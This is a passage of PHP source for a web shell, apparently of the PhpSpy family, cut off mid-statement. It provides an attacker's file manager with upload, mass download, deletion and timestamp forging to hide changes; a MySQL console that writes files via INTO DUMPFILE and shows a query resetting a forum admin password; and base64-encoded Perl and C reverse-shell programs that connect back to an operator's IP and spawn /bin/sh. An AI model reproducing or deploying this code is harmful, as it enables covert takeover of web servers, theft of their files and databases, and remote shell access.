'.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed')); } } elseif ($curfile && $tarfile) { if (!@file_exists($curfile) || !@file_exists($tarfile)) { m('The goal file has already existed or original file does not exist'); } else { $time = @filemtime($tarfile); m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); } } elseif ($curfile && $year && $month && $day && $hour && $minute && $second) { if (!@file_exists($curfile)) { m(basename($curfile).' does not exist'); } else { $time = strtotime("$year-$month-$day $hour:$minute:$second"); m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); } } elseif($doing == 'downrar') { if ($dl) { $dfiles=''; foreach ($dl as $filepath => $value) { $dfiles.=$filepath.','; } $dfiles=substr($dfiles,0,strlen($dfiles)-1); $dl=explode(',',$dfiles); $zip=new PHPZip($dl); $code=$zip->out; header('Content-type: application/octet-stream'); header('Accept-Ranges: bytes'); header('Accept-Length: '.strlen($code)); header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz'); echo $code; exit; } else { m('Please select file(s)'); } } elseif($doing == 'delfiles') { if ($dl) { $dfiles=''; $succ = $fail = 0; foreach ($dl as $filepath => $value) { if (@unlink($filepath)) { $succ++; } else { $fail++; } } m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail); } else { m('Please select file(s)'); } } formhead(array('name'=>'createdir')); makehide('newdirname'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'fileperm')); makehide('newperm'); makehide('pfile'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'copyfile')); makehide('sname'); makehide('tofile'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'rename')); makehide('oldname'); makehide('newfilename'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'fileopform')); makehide('action'); makehide('opfile'); makehide('dir'); formfoot(); $free = @disk_free_space($nowpath); !$free && $free = 0; $all = @disk_total_space($nowpath); !$all && $all = 0; $used = $all-$free; $used_percent = @round(100/($all/$free),2); p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>'); ?>
737<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
738 <form action="" method="post" id="godir" name="godir">
739 <tr>
740 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
741 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
742 <td nowrap><input class="bt" value="GO" type="submit"></td>
743 </tr>
744 </form>
745</table>
746<script type="text/javascript">
747function createdir(){
748 var newdirname;
749 newdirname = prompt('Please input the directory name:', '');
750 if (!newdirname) return;
751 $('createdir').newdirname.value=newdirname;
752 $('createdir').submit();
753}
754function fileperm(pfile){
755 var newperm;
756 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
757 if (!newperm) return;
758 $('fileperm').newperm.value=newperm;
759 $('fileperm').pfile.value=pfile;
760 $('fileperm').submit();
761}
762function copyfile(sname){
763 var tofile;
764 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
765 if (!tofile) return;
766 $('copyfile').tofile.value=tofile;
767 $('copyfile').sname.value=sname;
768 $('copyfile').submit();
769}
770function rename(oldname){
771 var newfilename;
772 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
773 if (!newfilename) return;
774 $('rename').newfilename.value=newfilename;
775 $('rename').oldname.value=oldname;
776 $('rename').submit();
777}
778function dofile(doing,thefile,m){
779 if (m && !confirm(m)) {
780 return;
781 }
782 $('filelist').doing.value=doing;
783 if (thefile){
784 $('filelist').thefile.value=thefile;
785 }
786 $('filelist').submit();
787}
788function createfile(nowpath){
789 var filename;
790 filename = prompt('Please input the file name:', '');
791 if (!filename) return;
792 opfile('editfile',nowpath + filename,nowpath);
793}
794function opfile(action,opfile,dir){
795 $('fileopform').action.value=action;
796 $('fileopform').opfile.value=opfile;
797 $('fileopform').dir.value=dir;
798 $('fileopform').submit();
799}
800function godir(dir,view_writable){
801 if (view_writable) {
802 $('godir').view_writable.value=1;
803 }
804 $('godir').dir.value=dir;
805 $('godir').submit();
806}
807</script>
808 <?php tbhead(); p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">'); p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>'); p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>'); if ($view_writable) { p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>'); } else { p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>'); } p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>'); if (IS_WIN && IS_COM) { $obj = new COM('scripting.filesystemobject'); if ($obj && is_object($obj)) { $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk'); foreach($obj->Drives as $drive) { if ($drive->DriveType == 2) { p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>'); } else { p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>'); } } } } p('</td></tr></form>'); p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>'); $dirdata=array(); $filedata=array(); if ($view_writable) { $dirdata = GetList($nowpath); } else { $dirs=@opendir($dir); while ($file=@readdir($dirs)) { $filepath=$nowpath.$file; if(@is_dir($filepath)){ $dirdb['filename']=$file; $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); $dirdb['dirchmod']=getChmod($filepath); $dirdb['dirperm']=getPerms($filepath); $dirdb['fileowner']=getUser($filepath); $dirdb['dirlink']=$nowpath; $dirdb['server_link']=$filepath; $dirdb['client_link']=ue($filepath); $dirdata[]=$dirdb; } else { $filedb['filename']=$file; $filedb['size']=sizecount(@filesize($filepath)); $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); $filedb['filechmod']=getChmod($filepath); $filedb['fileperm']=getPerms($filepath); $filedb['fileowner']=getUser($filepath); $filedb['dirlink']=$nowpath; $filedb['server_link']=$filepath; $filedb['client_link']=ue($filepath); $filedata[]=$filedb; } } unset($dirdb); unset($filedb); @closedir($dirs); } @sort($dirdata); @sort($filedata); $dir_i = '0'; foreach($dirdata as $key => $dirdb){ if($dirdb['filename']!='..' && $dirdb['filename']!='.') { $thisbg = bg(); p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">'); p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>'); p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>'); p('<td nowrap>'.$dirdb['mtime'].'</td>'); p('<td nowrap>--</td>'); p('<td nowrap>'); p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / '); p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>'); p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>'); p('</tr>'); $dir_i++; } else { if($dirdb['filename']=='..') { p('<tr class=fout>'); p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>'); p('</tr>'); } } } p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>'); p('<form id="filelist" name="filelist" action="'.$self.'" method="post">'); makehide('action','file'); makehide('thefile'); makehide('doing'); makehide('dir',$nowpath); $file_i = '0'; foreach($filedata as $key => $filedb){ if($filedb['filename']!='..' && $filedb['filename']!='.') { $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']); $thisbg = bg(); p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">'); p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>'); p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>'); p('<td nowrap>'.$filedb['mtime'].'</td>'); p('<td nowrap>'.$filedb['size'].'</td>'); p('<td nowrap>'); p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / '); p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>'); p('<td nowrap>'); p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | '); p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | '); p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | '); p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | '); p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>'); p('</td></tr>'); $file_i++; } } p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>'); p('</form></table>'); } elseif ($action == 'sqlfile') { if($doing=="mysqlupload"){ $file = $_FILES['uploadfile']; $filename = $file['tmp_name']; if (file_exists($savepath)) { m('The goal file has already existed'); } else { if(!$filename) { m('Please choose a file'); } else { $fp=@fopen($filename,'r'); $contents=@fread($fp, filesize($filename)); @fclose($fp); $contents = bin2hex($contents); if(!$upname) $upname = $file['name']; dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';"); m($result ? 'Upload success' : 'Upload has failed: '.mysql_error()); } } } ?>
809<script type="text/javascript">
810function mysqlfile(doing){
811 if(!doing) return;
812 $('doing').value=doing;
813 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
814 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
815 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
816 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
817 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
818 $('mysqlfile').charset.value=$('dbinfo').charset.value;
819 $('mysqlfile').submit();
820}
821</script>
822<?php !$dbhost && $dbhost = 'localhost'; !$dbuser && $dbuser = 'root'; !$dbport && $dbport = '3306'; $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1'); formhead(array('title'=>'MYSQL Information','name'=>'dbinfo')); makehide('action','sqlfile'); p('<p>'); p('DBHost:'); makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); p(':'); makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); p('DBUser:'); makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); p('DBPass:'); makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); p('DBName:'); makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname)); p('DBCharset:'); makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); p('</p>'); formfoot(); p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">'); p('<h2>Upload file</h2>'); p('<p><b>This operation the DB user must has FILE privilege</b></p>'); p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>'); p('<h2>Download file</h2>'); p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>'); makehide('dbhost'); makehide('dbport'); makehide('dbuser'); makehide('dbpass'); makehide('dbname'); makehide('charset'); makehide('doing'); makehide('action','sqlfile'); p('</form>'); } elseif ($action == 'sqladmin') { !$dbhost && $dbhost = 'localhost'; !$dbuser && $dbuser = 'root'; !$dbport && $dbport = '3306'; $dbform = '<input type="hidden" id="connect" name="connect" value="1" />'; if(isset($dbhost)){ $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n"; } if(isset($dbuser)) { $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n"; } if(isset($dbpass)) { $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n"; } if(isset($dbport)) { $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n"; } if(isset($dbname)) { $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n"; } if(isset($charset)) { $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n"; } if ($doing == 'backupmysql' && $saveasfile) { if (!$table) { m('Please choose the table'); } else { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); $table = array_flip($table); $fp = @fopen($path,'w'); if ($fp) { $result = q('SHOW tables'); if (!$result) p('<h2>'.mysql_error().'</h2>'); $mysqldata = ''; while ($currow = mysql_fetch_array($result)) { if (isset($table[$currow[0]])) { sqldumptable($currow[0], $fp); } } fclose($fp); $fileurl = str_replace(SA_ROOT,'',$path); m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>'); mysql_close(); } else { m('Backup failed'); } } } if ($insert && $insertsql) { $keystr = $valstr = $tmp = ''; foreach($insertsql as $key => $val) { if ($val) { $keystr .= $tmp.$key; $valstr .= $tmp."'".addslashes($val)."'"; $tmp = ','; } } if ($keystr && $valstr) { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error()); } } if ($update && $insertsql && $base64) { $valstr = $tmp = ''; foreach($insertsql as $key => $val) { $valstr .= $tmp.$key."='".addslashes($val)."'"; $tmp = ','; } if ($valstr) { $where = base64_decode($base64); dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error()); } } if ($doing == 'del' && $base64) { $where = base64_decode($base64); $delete_sql = "DELETE FROM $tablename WHERE $where"; dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error()); } if ($tablename && $doing == 'drop') { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); if (q("DROP TABLE $tablename")) { m('Drop table of success'); $tablename = ''; } else { m(mysql_error()); } } $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1'); formhead(array('title'=>'MYSQL Manager')); makehide('action','sqladmin'); p('<p>'); p('DBHost:'); makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); p(':'); makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); p('DBUser:'); makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); p('DBPass:'); makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); p('DBCharset:'); makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt')); p('</p>'); formfoot(); ?>
823<script type="text/javascript">
824function editrecord(action, base64, tablename){
825 if (action == 'del') {
826 if (!confirm('Is or isn\'t deletion record?')) return;
827 }
828 $('recordlist').doing.value=action;
829 $('recordlist').base64.value=base64;
830 $('recordlist').tablename.value=tablename;
831 $('recordlist').submit();
832}
833function moddbname(dbname) {
834 if(!dbname) return;
835 $('setdbname').dbname.value=dbname;
836 $('setdbname').submit();
837}
838function settable(tablename,doing,page) {
839 if(!tablename) return;
840 if (doing) {
841 $('settable').doing.value=doing;
842 }
843 if (page) {
844 $('settable').page.value=page;
845 }
846 $('settable').tablename.value=tablename;
847 $('settable').submit();
848}
849</script>
850<?php formhead(array('name'=>'recordlist')); makehide('doing'); makehide('action','sqladmin'); makehide('base64'); makehide('tablename'); p($dbform); formfoot(); formhead(array('name'=>'setdbname')); makehide('action','sqladmin'); p($dbform); if (!$dbname) { makehide('dbname'); } formfoot(); formhead(array('name'=>'settable')); makehide('action','sqladmin'); p($dbform); makehide('tablename'); makehide('page',$page); makehide('doing'); formfoot(); $cachetables = array(); $pagenum = 30; $page = intval($page); if($page) { $start_limit = ($page - 1) * $pagenum; } else { $start_limit = 0; $page = 1; } if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); $mysqlver = mysql_get_server_info(); p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>'); $highver = $mysqlver > '4.1' ? 1 : 0; $query = q("SHOW DATABASES"); $dbs = array(); $dbs[] = '-- Select a database --'; while($db = mysql_fetch_array($query)) { $dbs[$db['Database']] = $db['Database']; } makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1)); $tabledb = array(); if ($dbname) { p('<p>'); p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>'); if ($tablename) { p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]'); } p('</p>'); mysql_select_db($dbname); $getnumsql = ''; $runquery = 0; if ($sql_query) { $runquery = 1; } $allowedit = 0; if ($tablename && !$sql_query) { $sql_query = "SELECT * FROM $tablename"; $getnumsql = $sql_query; $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; $allowedit = 1; } p('<form action="'.$self.'" method="POST">'); p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
851 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>'); makehide('tablename', $tablename); makehide('action','sqladmin'); p($dbform); p('</form>'); if ($tablename || ($runquery && $sql_query)) { if ($doing == 'structure') { $result = q("SHOW COLUMNS FROM $tablename"); $rowdb = array(); while($row = mysql_fetch_array($result)) { $rowdb[] = $row; } p('<table border="0" cellpadding="3" cellspacing="0">'); p('<tr class="head">'); p('<td>Field</td>'); p('<td>Type</td>'); p('<td>Null</td>'); p('<td>Key</td>'); p('<td>Default</td>'); p('<td>Extra</td>'); p('</tr>'); foreach ($rowdb as $row) { $thisbg = bg(); p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">'); p('<td>'.$row['Field'].'</td>'); p('<td>'.$row['Type'].'</td>'); p('<td>'.$row['Null'].' </td>'); p('<td>'.$row['Key'].' </td>'); p('<td>'.$row['Default'].' </td>'); p('<td>'.$row['Extra'].' </td>'); p('</tr>'); } tbfoot(); } elseif ($doing == 'insert' || $doing == 'edit') { $result = q('SHOW COLUMNS FROM '.$tablename); while ($row = mysql_fetch_array($result)) { $rowdb[] = $row; } $rs = array(); if ($doing == 'insert') { p('<h2>Insert new line in '.$tablename.' table »</h2>'); } else { p('<h2>Update record in '.$tablename.' table »</h2>'); $where = base64_decode($base64); $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1"); $rs = mysql_fetch_array($result); } p('<form method="post" action="'.$self.'">'); p($dbform); makehide('action','sqladmin'); makehide('tablename',$tablename); p('<table border="0" cellpadding="3" cellspacing="0">'); foreach ($rowdb as $row) { if ($rs[$row['Field']]) { $value = htmlspecialchars($rs[$row['Field']]); } else { $value = ''; } $thisbg = bg(); p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">'); p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>'); } if ($doing == 'insert') { p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>'); } else { p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>'); makehide('base64', $base64); } p('</table></form>'); } else { $querys = @explode(';',$sql_query); foreach($querys as $num=>$query) { if ($query) { p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>"); switch(qy($query)) { case 0: p('<h2>Error : '.mysql_error().'</h2>'); break; case 1: if (strtolower(substr($query,0,13)) == 'select * from') { $allowedit = 1; } if ($getnumsql) { $tatol = mysql_num_rows(q($getnumsql)); $multipage = multi($tatol, $pagenum, $page, $tablename); } if (!$tablename) { $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query))); $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line); preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); $tablename = $matches[1][0]; } $result = q($query); p($multipage); p('<table border="0" cellpadding="3" cellspacing="0">'); p('<tr class="head">'); if ($allowedit) p('<td>Action</td>'); $fieldnum = @mysql_num_fields($result); for($i=0;$i<$fieldnum;$i++){ $name = @mysql_field_name($result, $i); $type = @mysql_field_type($result, $i); $len = @mysql_field_len($result, $i); p("<td nowrap>$name<br><span>$type($len)</span></td>"); } p('</tr>'); while($mn = @mysql_fetch_assoc($result)){ $thisbg = bg(); p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">'); $where = $tmp = $b1 = ''; foreach($mn as $key=>$inside){ if ($inside) { $where .= $tmp.$key."='".addslashes($inside)."'"; $tmp = ' AND '; } $b1 .= '<td nowrap>'.html_clean($inside).' </td>'; } $where = base64_encode($where); if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>'); p($b1); p('</tr>'); unset($b1); } tbfoot(); p($multipage); break; case 2: $ar = mysql_affected_rows(); p('<h2>affected rows : <b>'.$ar.'</b></h2>'); break; } } } } } else { $query = q("SHOW TABLE STATUS"); $table_num = $table_rows = $data_size = 0; $tabledb = array(); while($table = mysql_fetch_array($query)) { $data_size = $data_size + $table['Data_length']; $table_rows = $table_rows + $table['Rows']; $table['Data_length'] = sizecount($table['Data_length']); $table_num++; $tabledb[] = $table; } $data_size = sizecount($data_size); unset($table); p('<table border="0" cellpadding="0" cellspacing="0">'); p('<form action="'.$self.'" method="POST">'); makehide('action','sqladmin'); p($dbform); p('<tr class="head">'); p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>'); p('<td>Name</td>'); p('<td>Rows</td>'); p('<td>Data_length</td>'); p('<td>Create_time</td>'); p('<td>Update_time</td>'); if ($highver) { p('<td>Engine</td>'); p('<td>Collation</td>'); } p('</tr>'); foreach ($tabledb as $key => $table) { $thisbg = bg(); p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">'); p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>'); p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>'); p('<td>'.$table['Rows'].'</td>'); p('<td>'.$table['Data_length'].'</td>'); p('<td>'.$table['Create_time'].'</td>'); p('<td>'.$table['Update_time'].'</td>'); if ($highver) { p('<td>'.$table['Engine'].'</td>'); p('<td>'.$table['Collation'].'</td>'); } p('</tr>'); } p('<tr class=fout>'); p('<td> </td>'); p('<td>Total tables: '.$table_num.'</td>'); p('<td>'.$table_rows.'</td>'); p('<td>'.$data_size.'</td>'); p('<td colspan="'.($highver ? 4 : 2).'"> </td>'); p('</tr>'); p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>"); makehide('doing','backupmysql'); formfoot(); p("</table>"); fr($query); } } } tbfoot(); @mysql_close(); } elseif ($action == 'backconnect') { !$yourip && $yourip = $_SERVER['REMOTE_ADDR']; !$yourport && $yourport = '12345'; $usedb = array('perl'=>'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; if ($start && $yourip 